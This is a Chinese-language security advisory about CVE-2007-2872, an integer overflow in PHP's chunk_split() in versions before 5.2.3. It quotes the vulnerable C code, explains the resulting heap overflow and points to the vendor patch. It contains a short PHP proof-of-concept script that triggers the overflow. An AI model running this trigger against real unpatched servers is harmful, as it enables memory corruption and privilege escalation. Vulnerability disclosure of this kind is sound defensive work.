当前位置: 代码网 > it编程>编程语言>Php > PHP5.2下chunk_split()函数整数溢出漏洞 分析

PHP5.2下chunk_split()函数整数溢出漏洞 分析

2024年05月18日 Php 我要评论
受影响系统:php php < 5.2.3不受影响系统:php php 5.2.3描述:-----------------------------------------------------
受影响系统:
php php < 5.2.3
不受影响系统:
php php 5.2.3
描述:
--------------------------------------------------------------------------------
bugtraq id: 24261
cve(can) id: cve-2007-2872

php是一种流行的web服务器端编程语言。

php中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。

php中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }

<*来源:gerhard wagner

链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?
$a=str_repeat("a", 65535);
$b=1;
$c=str_repeat("a", 65535);
chunk_split($a,$b,$c);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

php
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php#v5

文章来自: 绿盟科技
(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com